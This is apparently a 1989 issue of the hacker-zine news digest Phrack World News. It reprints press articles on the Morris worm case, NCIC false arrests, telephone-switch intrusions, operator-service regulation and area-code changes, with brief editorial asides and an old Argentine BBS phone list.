the United Kingdom to coordinate information on, and research into, all
aspects
of computer security. In the first instance one of the organization's primary
concerns will be combatting the threat posed by computer viruses by acting as
a
clearing house for virus information and control software.

Below is a copy of an initial letter mailed to prospective members:

                    The Computer Threat Research Association

The computer threat research association, CoTra is a non-profit making
organization that exists to research, analyze, publicize and find solutions
for threats to the integrity and reliability of computer systems.

The issue that caused the formation of CoTra was the rise of the computer
virus. This problem has since become surrounded by fear, uncertainty and
doubt. To the average user, the computer virus and its implications are a
worry of an unknown scale. To a few unfortunates whose systems have become
victims, it is a critical issue.

The key advantage of CoTra membership will be access to advice and
information.
Advice will be provided through publications, an electronic conference (a
closed conference for CoTra's members has been created on the Compulink CIX
system) as well as other channels such as general postings direct to members
when a new virus is discovered.

CoTra membership will be available on a student, full or corporate member
basis. All software that is held by CoTra that enhances system reliability,
such as virus detection and removal software, will be available to all
members.
It is intended to establish discounts with suppliers of reliability tools and
services. A library of virus sources and executables and other dangerous
research material will be made available to members who have a demonstrable

need.

A register of consultants who have specific skills in the systems reliability
field will be published by CoTra and reviews of reliability enhancing software
will be produced.

Your support of CoTra will ensure that you have the earliest and most accurate
information about potential threats to your computer systems.

CoTra, The Computer Threat Research Association,
c/o 144 Sheerstock, Haddenham, Bucks. HP17 8EX

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Strange Customs Service Clock Department   May 1,
1989
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Written by Vanessa Jo Grimm (Goverment Computer News)(Page 6)

The U.S. attorney for Washington is reviewing an allegation that a Customs
Service official violated the Computer Security Act [PL 100-235 presumably] by
altering a computer's internal clock.

Treasury Department Inspector General Michael R. Hill referred the allegation
to the prosecutor after an investigation into year-end spending by Custom
officials at the close of Fiscal Year 1988. The allegation involves an
official who may have authorized altering the date maintained by the computers
that the agency uses for procurement documents, according to Maurice S. Moody,
the Inspector General's audit director for Financial Management Service.

Moody recently told the House Ways and Means Subcommittee on Oversight the
computers are part of the agency's Automated Commercial System. He declined
to
provide Government Computer News with more details.

Allegedly the computer clock was rolled back during the first three days of
October of 1988 so that $41.8 million in procurement obligations would be
dated
in September against fiscal year 1988 appropriations, Moody said.

An inspector general report issued in late February concluded Customs had not
violated any procurement laws. The inspector general's investigation is
continuing, however.

"Doesn't $41.8 million worth of procurement on the last day of the fiscal year
bother anybody?" asked Rep. Richard T. Shulze (R-Pa). The purchases did
bother
the inspector general, Moody said, and this concern led to getting the United
State attorney attorney.   "This problem is endemic in the federal government,"
he said. "Year-end spending is very common."

William F. Riley, Customs controller, said he knew about the rollback, but he
and Deputy Commissioner Michael H. Lane refused to say who authorized the
action... Subcommittee members continued to press Riley and Lane. "Is the
person still at Customs?" asked subcommittee chairman J. J. Pickle (D-Texas).
He is working full time and in the position he was at the time," Lane
answered.

Rep. Beryl F. Anthony, Jr. (D-Ark) asked how Riley became aware of the
rollback. "He (the official who authorized the rollback) told me that it was
going to be done," Riley said.

Rep. Pickle suggested that a high ranking official would have to authorize such
an action, but Counsel advised Lane not to reply. He did say neither he nor
Commissioner von Raab had made the decision.

The balance of the article deals with the actions of Linda Gibbs, who became
aware of the incident and reported it to the inspector general after being
unable to stop the action. Gibbs also alleged that the action was intended to
use available year-end money to cover cost overrun on a contract with Northrop
Corp. She also alleged that she had been reassigned and given no new duties.
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Robert T. Morris Suspended From Cornell   May 25, 1989
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Taken from the New York Times

Cornell University has suspended the graduate student identified by school
officials as the author of "the Internet worm."

In a May 16th letter to Robert Tappan Moris, age 23, the dean of the Cornell
University Graduate School said a university panel had found him guilty of
violating the school's Code of Academic Integrity.

He will be suspended until the beginning of the fall semester of 1990, and
then
could reapply.

No criminal charges have been filed against Morris. A federal grand jury this
year forwarded its recommendations to the Justice Department, which has not
taken any action.
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Justice Department Wary in Computer Case   May 28, 1989
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by Matthew Spina (Syracuse Herald-American)

              "Is Washington Fearful Of Losing A Landmark Trial?"

Some computer experts theorize that the Justice Department, afraid of bungling
what could become a landmark computer case, still doesn't know how to treat
the
Cornell student whose computer worm slithered nationwide in November, 1988.

A further concern in Washington: A trial in the case might embarrass the
Department of Defense if its scientists are asked to detail how their
computers
were among the thousands crippled by the worm.

For several months, the decision on how to charge 23-year-old Robert T.
Morris,
Jr. had been before Mark Richard, a deputy assistant attorney general. Within
the last few weeks, Richard made a decision that now is being reviewed by an

assistant attorney general, according to a computer professional who has been talking with the Justice Department.

"I thought we would have heard something from Washington by now," said Andrew Baxtoer, the assistant U.S. attorney who in November and December presented the
case to a grand jury in Syracuse.

The grand jury's report was sent on the the Justice Department, which refuses to comment publicly on the matter because Morris has not been indicted.

"Within the next two weeks I assume that a decision will be made," said one official.

"If they decide to begin an expensive trial, they have to make sure they win so
as not to damage future attempts to prosecute under that law," said Eugene H. Spafford, an assistant professor at Purdue University whose analysis of the worm has helped federal investigators. "If they decide not to prosecute, and the total thing that happens is he gets suspended (from Cornell), I will be outraged."

So far, Cornell has taken the only disciplinary measure against Morris, suspending him for the 1989-90 academic year. But the graduate student left the computer science department early in November, the day after the worm spread out of a computer in Upson Hall.

Morris, a computer science graduate student, has been called the author of a rogue computer program, called a worm, that was spread from a Cornell University computer. The program was designed to reproduce and infect any computer linked to the Internet, a network shared by colleges, research centers
and military institutions.

However, experts say an error caused the program to replicate out of control, sending thousands of copies into thousands of computers.

If Morris is to be charged with a felony, prosecutors would then have to show he intended to destroy or extract information.

Proving that would be difficult since the program neither destroyed nor removed
information from any computer.

To convict Morris on most lesser charges, prosecutors would have to show he intended to harm computers.

Prosecutors also could use a misdemeanor charge requiring them to prove only that Morris gained access to a federal government computer. The worm did reach computers at the Army Ballistics Research Laboratory and NASA's Langley Research Center, among others.

Some computer experts wonder, though, if Defense Department officials will be reluctant to testify publicly about how their computers were penetrated -- even
those computers holding non-classified information. In February, at a computer convention in San Diego, Defense Department computer experts detailed some security improvements made to the network since November, but then refused to release copies of their presentation to people at the seminar.

The FBI -- which enforces the Computer Fraud and Abuse Act of 1986 -- and some

people in the computer industry are pushing for a vigorous prosecution to
display a strong case against computer hacking. Others in the industry,
including some of Morris' friends from Harvard University and Cornell, urge
leniency because he was trying to demonstrate security flaws with computers.
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Other articles about Robert Tappan Morris, Jr. and the Internet Worm are;

"Computer Network Disrupted By 'Virus'"   (11/03/88) PWN XXII/Part 2
"Virus Attack"   (11/06/88) PWN XXII/Part 2
"The Computer Jam: How It Came About"   (11/08/88) PWN XXII/Part 2
"US Is Moving To Restrict {...} Virus"   (11/11/88) PWN XXII/Part 2
*
"FBI Studies Possible Charges In Virus"   (11/12/88) PWN XXII/Part 2
"Big Guns Take Aim At Virus"   (11/21/88) PWN XXII/Part 3
"Congressman Plan Hearings On Virus"   (11/27/88) PWN XXII/Part 3
"Pentagon Severs Military {...} Virus"   (11/30/88) PWN XXII/Part 3
*
"Networks Of Computers At Risk From Invaders"   (12/03/88) PWN XXII/Part 4
*
"Computer Virus Eradication Act of 1988"   (12/05/88) PWN XXII/Part 4
*
"Breaking Into Computers {...}, Pure and Simple" (12/04/88) PWN XXIV/Part 1
*
"Cornell Panel Concludes Morris {...} Virus"   (04/06/89) PWN XXVI/Part 1

* - Indicates that the article was not directly related to Robert Morris, but
    did discuss him as well as the Internet Worm incident.
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SouthernNet's Anti-Hacker Psychological Con Game   April
1989
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WARNING! Your call is being intercepted!

Error: Setting may not be changed by callers.

               Welcome to: S o u t h e r n N e t   I n c.

You have reached the SouthernNet Fraud Department, the authorization code you
are attempting to use is not valid. Hacking and illegal use of codes are
violations of state and federal laws.

We are currently conducting an investigaion for code abuse in your area and we
are coordinating the investigation with law enforcement authorities. Persons
identified hacking or abusing codes will be prosecuted to the full extent of
the law.

I'll see you soon,

Hacker Tracker
- -
-

Hold for additional information:

Hacker Tracker is unavailable right now; however, you may avoid possible
arrest

and/or prosecution by calling Hacker Tracker in person.

You may contact Mr. Tracker between the hours of 9:00 AM and 5:00 PM Eastern
Standard Time, Monday - Friday, simply by dialing the access number you have
just used and code number 101010 or 011010 if the access you have used
requires a seven digit code. Just hold the line for 10 seconds and your call
will automatically be routed to Mr. Tracker at no charge to you.

This is *NOT* a trick and it will be the intention of SouthernNet Inc. to
settle this matter without involving law enforcement authorities if you
cooperate with our fraud department 100%.

It will certainly be to your advantage to contact Mr. Tracker as this will
reflect your own decision to assist and avoid prosecution by our company!!!

I'll be expecting your call.

Hacker Tracker

Hold a sec... Engaging Auto Page for Hacker Tracker...

        50 seconds till disconnect
        40 seconds till disconnect
        30 seconds till disconnect
        20 seconds till disconnect
        10 seconds till disconnect
         5 seconds till disconnect

NO CARRIER

 [Do you think anyone believed this and actually called "Hacker Tracker?" -KL]
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What's Happening: Computer Security Up   June 4,
1989
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Taken from Gannett Westchester Newspapers

                 [Comments in brackets from Delta-Master]

High-tech companies are spending 64% more [than they previously spent] on
computer security, according to a recent survey conducted by the National
Center for Computer Crime Data in Los Angeles. The group surveyed 3,500 law
enforcement agencies and computer security experts about computer crime. The
prosecution rate is also up -- 6.4% in 1988 from only 2.4% during 1987.

Contrary to popular image, computer hackers aren't always young boys. The
study found that 32% of those arrested for computer crimes were female, while
only 14% were under 21. The study said 45% of hackers were 25 to 30 years
old.
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Comments from Delta-Master
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I do not know about you people, but the public's confusion about hackers
starts
to bother me when they make errors. Seriously, I know of only a few hackers
over the age of 21. The fact that the newspapers also equate the thug-like

computer criminals with the mastermind-criminal type hacker (you guys) is also
pretty annoying, wouldn't you agree? One key phrase you must note: "32% OF
THOSE ARRESTED." Oh well, such are the mistakes of newspapers.

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Public Service Commission Bans Operator Companies   April 24,
1989
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By Jerri Stroud (St. Louis Post-Dispatch)

The Missouri Public Service Commission voted 4-1 last week to ban providers of
so-called alternative operator services in Missouri because allowing the
companies to operate is "not in the public interest."

Alternative operator services companies contract with hotels, motels colleges,
hospitals, airports, restaurants and other facilities to provide operator
assistance to customers using pay telephones or house phones. Consumer groups
have complained about price-gouging by the companies nationwide.

Mark Wheatley, a lawyer for the Office of Public Council, praised the
commission's decision.

The Office of Public Council has received numerous complaints about excessive
rates and surcharges by alternative operator services companies, said
Wheatley.
Some alternative operator services companies also have accepted other
companies' credit cards without authorization from the companies issuing the
cards, he said.

"We feel that it's an extremely important decision by the commission." said
Wheatley. But he said he expects the companies affected by the ruling to
appeal.

Lawyers for the alternative operator services companies could not be reached
for comment.

In it's ruling, the commission said many consumers aren't aware of the rates
charged by the alternative operator services companies until they receive "a
bill for operator services at prices higher than those to which he is
accustomed." Consumer groups say the rates often are twice or three times the
rates charged by better-known long-distance companies.

Even if an operator service company identifies itself when a consumer makes a
call, the commission said many consumers don't understand the significance of
the identification.

"If the end user is not educated as to the intricacies of using an alternative
operator services provider, he does not truly have a meaningful choice..." the
commission said.

The ruling only affects intrastate calls handled by alternative operator
services companies, but it may effectively prevent the companies from
providing
interstate service as well.

The commission specifically denied tariff requests from International
Telecharge Inc. and American Operator Services Inc. The commission also
directed three other companies -- Teleconnect Inc., Dial US, and Dial USA --
to
file new tariffs consistent with the ruling.

The ruling allows companies to operate who provide operator services in connection with their business -- long-distance carriers and local telephone companies, for example. But the commission also placed limits on these companies.

Under the ruling, operator services companies must:

* Identify themselves to the caller as well as to the party being billed by the call (in the case of a collect or third-party call).

* Quote rates to the caller or billed party on request, without charge.

* Use calling card verification procedures acceptable to the companies issuing the cards.

* Post in a prominent position the company's name, detailed complaint procedures and instruction on how to reach the local telephone company operator and other long-distance carriers.

* Transfer emergency traffic to the local telephone company or American Telephone & Telegraph Co. until the alternative services provider can show that it can handle emergency calls adequately.

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Fax Attack   May 13,
1989
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Taken from The Ann Arbor News

        "Governor's Attempt To Ban Unsolicited Advertisements Backfires!"

HARTFORD, Conn - The great fax attack of 1989 -- an all-out lobbying campaign against a bill banning unsolicited facsimile advertising -- may have backfired when the governor's fax machine was jammed for hours with unwanted messages.

Starting Thursday, May 11, and continuing Friday, May 12, Governor William A. O'Neill's fax machine has been beeping constantly, spitting out unwanted messages from angry businesses that advertise by fax.

The businesses oppose a bill now awaiting O'Neill's signature that would prohibit them from marketing their products by fax without first obtaining the permission of the recipient. Violators would face a $200 fine.

Starting Thursday morning, dozens of Connecticut businesses faxed to O'Neill's office a form letter arguing against the fax ban. The stream of fax messages was so constant (40 came in before 10 AM) that the governor's office turned off
the fax machine Thursday (May 11).

O'Neill's press secretary, Jon. L. Sandberg, said the governor still hasn't decided whether he will sign the bill. But aides to the governor said the persistent lobbying campaign proved how annoying unwanted messages can be.
The
inconvenience was compounded because the governor's office was unable to use its fax machine to receive information about spring flooding around the state.

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NYNEX Announces Info-Look Gateway   April 28,
1989

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Introducing a new service for accessing information and more... all through
your personal computer!

Starting in May 1989, New York Telephone's INFO-LOOK (tm) Gateway Service can
be your link to accessing a variety of information, products and services.

The INFO-LOOK Gateway simplifies on-line computer access to a variety of
information providers. When you call the Gateway phone number through your
modem, you'll be able to scan a menu of information services.

The types of information services you may choose from include: Entertainment,
business, health, food, news, weather, sports, travel, government, educational
and reference information. The services, some interactive, are provided by
independent companies.

The INFO-LOOK Gateway is easy to use -- even if you're relatively new to using
a PC.

What you'll need to use the INFO-LOOK Gateway

1. Virtually any type of personal computer.

2. A modem (300, 1200, or 2400 Baud), and communications software. This
    enables your computer to communicate with other computers via the
telephone
    system.

3. A New York Telephone Calling Card. If you need a New York Telephone
    Calling Card, (it's FREE), call your service representative whose number
    appears on page one of your New York Telephone bill.

Charges for using the INFO-LOOK Gateway

There are ** no ** Gateway enrollment fees and ** no ** monthly subscription
charges. In most cases, you will be charged (New York people only):

o A local call to reach the INFO-LOOK Gateway.

o While you're browsing the Gateway directory of services, or moving between
   services, you pay $.05 a minute.

o Once you connect to a service, the charge is determined by the Service
   Provider. Some services have a per-minute usage charge. Some services are
   free. The charges for each service are listed in the Gateway menu.

You'll find most charges itemized on your monthly New York Telephone bill.
Some Service Providers may decide to bill you separately and directly for use
of their services.

Call for more information:

To get your free INFO-LOOK Gateway information booklet call (toll- free)
1-800-338-2720, Ext. 20, any day from 9 a.m. to 11 p.m.

Note: New York Telephone does not provide or control the services offered
       through the INFO-LOOK Gateway Service. They are provided by
independent
       companies, which are responsible for the content, character, and
quality
       of their services.

The predictions run $5 billion now and another $5-10 billion by 1991.

        [INFO-LOOK is already operating in Bell South and Bell Atlantic.]

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Pacific Bell Plans Access To Computers   June 9,
1989
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Taken from Santa Cruz Sentinel (Section B)

SAN FRANCISCO (AP) -- Pacific Bell said Thursday it hopes to compete with the
popularity of television by offering people easy access to computerized
libraries, bulletin boards and the use of electronic mail.

PacBell's California On-line -- which will be available to anybody with a
personal computer, telephone and calling card -- will be among the first in
the
nation to use a graphic-based system that simplifies procedures so only a
rudimentary familiarity with computers is needed.

"It's going to offer our customers a supplement to their current leisure
activities... and among other things we've seen (in trials) a lot of people
who got away from the TV," said Roger P. Conrad, director of Videotex Gateway
Services.

"We feel this is a more productive way for people to spend their lives and we
think a lot of users are going to agree," he added. Users will pay
"info-entrepreneurs" fees based on the time they use various services and will
be billed on their monthly telephone statements. Unlike some on-line
information services, users do not have to subscribe ahead of time.

Conrad said the types of services are limited only by vendors' imaginations.
PacBell will make money by selling telecommunication line use to the
companies.

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Bulletin Boards Of Argentina   June 5,
1989
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Country Code = 54 (Argentina)
City Code = 1   (Buenos Aires)

This list might be slightly incorrect due to the passage of time. The last
update was on December 23, 1986.

Name   Hours Of Operation   ======= Number=

Beta   23:00 - 6:30   802-0288
C-Mania   21:00 - 7:00   362-8843
CBM   16:00 - 12:00   90-4988
Century 21   24 hours   632-7070
Cerebruss   24 hours   47-2717
Cerebruss Information   ?   48-8300
                                            48-9886
Databank   ?   44-9760
Drean Conection   ?   953-2523
Los Pinos   13:00 - 19:00   21-0375
Magenta   ?   392-0124

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Magenta                    ?                   392-0016
Maxes                      23:00 - 7:00        542-2695
Mendieta                   22:00 - 8:00        654-6999
Pirates Cove               24:00 - 6:00        783-5023
Sanctuary                  24:00 - 3:00        641-4608
Soft-work                  22:30 - 9:00         88-2065
TCConection                19:00 - 12:00        22-4197
The Connection             24 Hours             82-5780
The Hacker                 23:00 - 7:00        748-2005
Tiger                      ?                   784-2226
XCASA                      ?                   611-8136
BBS-IOM                    24 Hours            804-3602
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Note: The settings for all systems listed above are Even, 7, 1.

Contributed by Noli

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One of Cliff Stoll's "Wily Hackers" Is Dead (Suicide?)   June 5,
1989
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According to West German publications, the "Wily Hacker" Karl Koch, of
Hannover, West Germany, died Friday, June 3, probably by suicide. His body
was
found burnt (with gasoline) to death, in a forest near Celle (a West German
town near Hannover where he committed his hacks, as had been observed by
German
Post).

Koch was one of the 2 hackers who confessed their role in the KGB hack to the
public prosecutors, therewith bringing the case to public attention. As
German
newspapers report, he probably suffered from a psychic disease: He thought he
was permanently observed by alien beings named Illimunates' which tried to
kill
him. Probably, he had internalized the role of "Captain Hagbard" (his
pseudonym in the hacking scene), taken from a U.S. book, who (like him)
suffered from supervision by the Illuminates. Police officials evidently think
that Koch committed suicide (though it is believed, that there are "some
circumstances" which may also support other theories; no precise information
about such moments are reported).

According to German police experts, Karl Koch's role in the KGB case as in
daily life can properly be understood when reading this unknown book.

                    Information Provided by Klaus Brunnstein
                        (University of Hamburg)

                                    [Illuminates... KGB... whatever... -
KL]
- -
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Illuminatus!   June 14,
1989
~~~~~~~~~~~~~
The book in question is believed to be "Illuminatus!" by Harold Shea and
Robert
Anton Wilson. The book is a spoof on conspiracy theories, and suggests that
many and probably all human institutions are just fronts for a small group of
"enlightened ones," who are themselves a front for the Time dwarves from

Reticuli Zeta, or perhaps Atlantean Adepts, remnants of Crowley's Golden Dawn, or even more likely the Lloigor of H.P. Lovecraft's Cthulhu Mythos. A leading character in this book is named Hagbard Celine.

"Illuminatus!" is a fun read if you like psychedelia and paranoia. It also seems to have influenced a lot of subsequent work, most notably Adams' "Hitchhiker's Guide to the Galaxy." It is easy to see how an unbalanced mind, taking it literally, could be completely absorbed. In fact "Illuminatus!" seems as if it was written with the intent of just this sort of programming, referring to it as "Operation Mindfuck."

This is probably not a real danger for the vast majority of sane adults, but it
may, tragically, have been the case here. Or perhaps, no disrespect intended, Koch may in the course of various hacks really have discovered too much about the Illuminati. After all, they are supposed to be the secret power behind the
KGB :-)
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For more information on Clifford Stoll and the Wily Hackers of West Germany, please see:

"Who Is Clifford Stoll?"   (No Date) Phrack World News issue XXII/Part 1
"A Message From Clifford Stoll" (1/10/89) Phrack World News issue XXIII/Part 2

And the following articles all found in Phrack World News issue XXV/Part 2:

        "German Hackers Break Into Los Alamos and NASA"   (3/2/89)
        "Computer Espionage: Three 'Wily Hackers' Arrested"   (3/2/89)
        "Computer Spy Ring Sold Top Secrets To Russia"   (3/3/89)
        "KGB Computer Break-Ins Alleged In West Germany"   (3/3/89)
        "News From The KGB/Wily Hackers"   (3/7/89)
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Sex Put On Probation By Mystery Hacker   June 13,
1989
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Ft. Lauderdale News and Sun-Sentinel

        "Yes, you sound very sexy, but I really need a probation officer."

DELRAY BEACH, Fla. -- Callers trying to dial a probation office in Delray Beach, Fla on Monday, June 12, heard a smorgasbord of sex talk from a panting woman named Tina instead.

Southern Bell telephone officials said a computer hacker reprogrammed their equipment over the weekend, routing overflow calls intended for the local probation office to a New York-based phone sex line.

"People are calling the Department of Corrections and getting some kind of sex palace," said Thomas Salgluff, a spokesman for the Palm Beach County probation office.

Southern Bell officials said it was the first time their switching equipment has
been reprogrammed by an outside computer intruder. Southern Bell provides local telephone service in Florida, Georgia, North Carolina, and South Carolina.

"We're very alarmed," said Southern Bell spokesman Buck Passmore. He said such
a feat would require someone with considerable computer knowledge.

The implications of such a computer breach are considerable. Intercepting
corporate communications, uncovering unlisted phone numbers, and tampering with
billing information are all plausible consequences of computer security
breaches at the the phone company.

Hackers have invaded Southern Bell in the past, but they have never
reprogrammed a telephone link, Passmore said.

Security technicians from Southern Bell and AT&T are trying to trace the source
of the computer breach, Passmore said.
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Hacking For A Competitive Edge   May 12, 1989
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Taken from the Los Angeles Times

Two former Tampa, FLA TV news managers have been charged with illegally tapping
into phone lines and computers at another station to gain a news edge over
their competitors. Former new director Terry Cole and assistant news director
Michael Shapiro at WTSP-TV have been charged with 17 counts of computer hacking
and conspiracy in the theft of information from WTVT-TV through computer phone
lines, authorities said. Their arraignment was set for May 19.

If convicted, each could face a maximum prison sentence of 85 years. The two
were fired from WTSP when the station learned of the alleged thefts. The
break-ins began in November, 1988, but were not noticed until January 12, 1989,
when WTVT's morning news producer noticed that files were missing, authorities
said.

Computer experts determined that an intruder had rifled the files. Authorities
said Shapiro knew WTVT's security system thoroughly because he had helped set
it up while working there as an assignment manager before being hired away from
WTVT in October.
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TV News Executives Fired After Hacking Charges From Rival
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Tampa, Fla. -- A Florida television station fired two news executives in the
wake of reports that one of them allegedly penetrated a rival station's
computer system and stole sensitive information.

WTSP-TV (Channel 10), an ABC affiliate in St. Petersburg, announced that it had
fired Assistant News Director Michael Shapiro and News Director Terry Cole.

Shapiro was arrested on February 7th on felony charges for allegedly breaking

into a computer system at WTVT-TV (Channel 13) on at least six occasions in
January. He was once employed by WTVT as an assistant manager and was
responsible for administering the station's computer systems.

Law enforcement officials seized from Shapiro's home a personal computer, 200
floppy disks and an operating manual and user guide for software used at the
rival station.

He has been charged with 14 felony counts under Florida Statute 815, which
covers computer-related crimes. Each count carries a maximum sentence
sentence
of 15 years and a $10,000 fine.

Vince Barresi, WSTP's vice-president and general manager, refused to comment
on
the two firings. However, in a prepared statement, he said that he told
viewers during an 11 PM newscast last Tuesday that the station acted to "avoid
any questions about the objective way we do our business in keeping the public
informed."

Cole, who hired Shapiro last September, has not been charged by Florida law
enforcement officials. He was fired, according to one source, because as
director of the news room operations, he is held ultimately for the actions of
news staffers. Shapiro and Cole were unavailable for comment.

[Another story that discussed this case was "Television Editor Charged In Raid
On Rival's Files" (February 8, 1989). It appeared in Phrack World News Issue
XXIV/Part 2. -KL]
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National Crime Information Center Leads To Repeat False Arrest   May 14,
1989
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by James Rainey (Los Angeles Times)

Mix ups with the databases at the NCIC have caused Roberto Perales Hernandez
to
be jailed twice in the last three years as a suspect in a 1985 Chicago
residential burglary. The authorities confused him with another Roberto
Hernandez due to a single entry in the FBI's National Crime Information Center
computer.

The two Roberto Hernandezes are the same height, about the same weight, have
brown hair, brown eyes, tattoos on their left arms, share the same birthday,
and report Social Security numbers which differ by only one digit!

The falsely imprisoned man has filed suit charging the Hawthorne, California
Police Department, Los Angeles County, and the state of California with false
imprisonment, infliction of emotional distress, and civil rights violations
stemming from the most recent arrest last year.

He had previously received a $7,000 settlement from the county for holding him
12 days in 1986 before realizing he was the wrong man. In the latest
incident,
he was held for seven days then freed with no explanation.
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Another False Incarceration   May 18,
1989

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In his testimony on May 18, 1989 to the Subcommittee on Civil and
Constitutional Rights of the Committee on the Judiciary of the U.S. House of
Representatives, relating to the National Crime Information Center, David D.
Redell cited another case of false incarceration concerning Roberto Perales
Hernandez as well as various cases noted earlier -- such as that of Terry Dean
Rogan [see below]:

      "Only last week, a case in California demonstrated the potential
      benefit of easy access to stored images. Joseph O. Robertson had
      been arrested, extradited, charged, and sent to a state mental
      facility for 17 months. During that entire time, mug shots and
      fingerprints were already on file showing clearly that he was the
      wrong man, but no one had taken the trouble to check them."

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These articles show clear examples of the damage and problems caused by this
"super" database. People like William Bayse (Federal Bureau of
Investigation's
Director For Technical Services) and William Sessions (Director of the FBI)
either fail to realize this or perhaps they just do not care (as long as
something similar does not happen to them).

For those of you who are interested in looking into this further, the first
article about this NCIC database was; "'Big Brotherish' Data Base Assailed,"
(November 21, 1988). It appeared in Phrack World News Issue XXII/Part 3.

Another incident similar to the cases mentioned above concerned Richard
Lawrence Sklar, a political science professor at the University of California
at Los Angeles. He was mistaken by the computer for a fugitive wanted in a
real estate scam in Arizona. Before the FBI figured out that they had the
incorrect person, Sklar, age 58, spent two days being strip searched, herded
from one holding pen to another, and handcuffed to gang members and other
violent offenders. For more details on this case and the case concerning
Terry
Dean Rogan, please refer to "FBI National Crime Information Center Data Bank,"
(February 13, 1989) which appeared in Phrack World News Issue XXIV/Part 2 (as
well as the Washington Post).

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TRW and Social Security Administration   May 12,
1989
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The credit bureau of TRW has been working with the Social Security
Administration to verify its database of 140 million names and Social Security
numbers. In order to cover the cost, TRW is paying the Social Security
Administration $1 million, while Social Security Administration will provide a
matching $1 million.

Since the Social Security Administration is asking for a budget increase for
their computer and telecommunications systems, several legislators are
outraged
by the fact they they are spending $1 million for this non-government project.
Claiming that the project is "as far away from the mission of the Social
Security Administration as anything I have ever come across," Senator David
Pryor (D-Ark) questioned the competence and credibility of Social Security
Administration Commissioner Dorcas R. Hardy and asked for an investigation by
the HHS inspector general.

In addition, several lawmakers such as Dale Bumpers (D-Ark) believe the project
to be a violation of civil liberties. Said Bumpers, "I don't like any public
institution releasing an individual's private information." The American Law
Division of the Congressional Research Service has already concluded that the
project is a violation of the Privacy Act of 1974.

[A related article, "Verifying Social Security Numbers," (April 11, 1989)
appeared in Phrack World News Issue XXVI/Part 3 (as well as the New York Times
on the same date). -KL]
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Phrack World News XXVII Quicknotes
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1. The current name assigned to the new network being created by the merger
    of BITNET and CSNET is ONENET.

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2. NPA 903 Assigned to NE Texas (May 10, 1989) -- It was just announced that
    those portions of 214 outside Dallas will be changed to 903 in the Fall of
    1990.

    With 708 assigned to Chicago, 903 assigned to Texas, and 908 assigned to
    New Jersey, only 909 and 917 remain to be assigned before the format
    changes.

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3. Details On New Area Code 510 (June 6, 1989) -- The press release from
    Pacific Bell, quoted in the San Francisco Chronicle, gives the phase-in
    dates for the new NPA 510.

    Inception is scheduled for October 7, 1991, with a four-month grace period
    when NPA 415 will still work for the affected numbers. Final cutover is
    scheduled for January 27, 1992.

    NPA 510 will encompass Alameda and Contra Costa counties, which currently
    have 842,388 customers out of the current 2,005,687 customers in NPA 415.

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4. New Jersey Area Code To Be Split (April 27, 1989) -- The split is not
   supposed to occur until 1991. The new NPA will be 908 and it will
basically
   cover the southern "half" of the current 201 area. The affected counties
   will be Warren, Hunterdon, Middlesex, Union, Monmouth and Ocean, and the
   southwest corner of Morris). Counties remaining in 201 will be Sussex,
   Passaic, Bergen, Essex, Hudson, and the majority of Morris.

   New Jersey Bell will also start requiring area codes on calls into New York
   and Pennsylvania that have been considered part of New Jersey local calling
   areas. This will apparently take effect October 2 and free up about 25
   exchanges. Information from the Asbury Park Press.

      [This last line somewhat contradicts the first line as far as the
       dates are concerned. More information as we get it.   -- KL.]

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5. New Area Codes For London (April 27, 1989) -- British Telecom has announced
   that the area code for London is to be changed on May 6th, 1990, due to the
   increased number of lines needed in the capital.

The existing code is 01-, and the new codes to be introduced are 071- for
    the centre of the city and 081- for the suburbs. A list was published in
    the Evening Standard, showing which exchanges will fall in which area.

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6. Member Learns The Hard Way: American Express Is Watching (May 4, 1989) --
    This article taken from the San Jose Mercury News describes how American
    Express called a member to voice their concern that he might not be able
to
    pay his recent bill. American Express was able to access his checking
    account and find that he had less than what was owed to them. His card
was
    temporarily "deactivated" after the member refused to give any financial
    information except that he would pay up the bill with cash when it came
in.

    Apparently, the card application, in finer print, declares that "[American
    Express reserves] the right to access accounts to ascertain whether you
are
    able to pay the balance." After some arguments with the company, the
    member comments that "I learned a lesson: My life is not as private as I
    thought."

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7. Southwestern Bell's QuickSource (April 24, 1989) -- Southwestern Bell
    Telephone Company is running a one year trial (March 1989 89 - March 1990)
    of two information services: QuickSource (audiotex) and Sourceline
    (videotext). The latter requires a terminal of some type, but the former
    only requires a touch-tone phone for access. The QuickSource number is
    323-2000, but cannot be accessed via 1+713+; SWBTCo has blocked access to
    "the Houston metro area served by SWBTCo," according to the script the
    woman reads to you when ask for help (713-865-5777; not blocked). The
help
    desk will send you a free QuickSource directory though.

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8. Telemail, MCI, AT&T Mail Interconnection (May 16, 1989) -- U.S. Sprint's
    subsidiary, Telenet has announced an interconnection agreement between
    Telemail, Telenet's electronic mail product, MCI Mail, and AT&T Mail.

    The new arrangement, scheduled to be in effect later this summer, will
    allow the 300,000 worldwide users of Telemail, the 100,000 users of MCI
    Mail and the 50,000 users of AT&T Mail to conveniently send email messages
    to each other.

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9. Illinois Bell Knocked Out For Four Hours! (May 18,1989) -- Service to over
    40,000 Illinois Bell subscribers in the northwest suburbs of Chicago was
    disrupted for about four hours because of problems with the computer in
the
    switching center.

    Phones were either dead or inoperative for incoming and outgoing calls
    between 9:30 a.m. and 1:40 p.m. because of a software glitch at the
central
    office in Hoffman Estates, IL. Most of the disruption occurred in Hoffman
    Estates, Schaumburg, Arlington Heights, Hanover Park, and Streamwood, IL.

    The exact nature of the problem was not discussed by the Bell spokesman
who
    reported that the outage had been corrected. Apparently the backup system

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    which is supposed to kick in also failed.
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10. SRI Attacked By Kamikaze Squirrels (May 29, 1989) -- It seems that the
Data
    Defense Network SRI's "no-single-point-of-failure" power system failed at
    the hands, or rather the paws, of a squirrel.  The power was off for
    approximately 9 hours and they experienced no hardware problems.  This was
    at least the third time that a squirrel has done SRI in.
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11. New York Telephone Freebies (June 10, 1989)(San Francisco Chronicle, p.
2.)
    -- 24 pay phones along the Long Island Expressway were in fact free phones
    because of a programming/database screw-up.  They were being heavily used
    for long distance calls by those who had discovered the oversight,
    including many to Pakistan (Police found 15 Pakistani men using the phones
    when they went to investigate after a shooting).  There were no estimates
    on the unrecovered cost of the phone calls.
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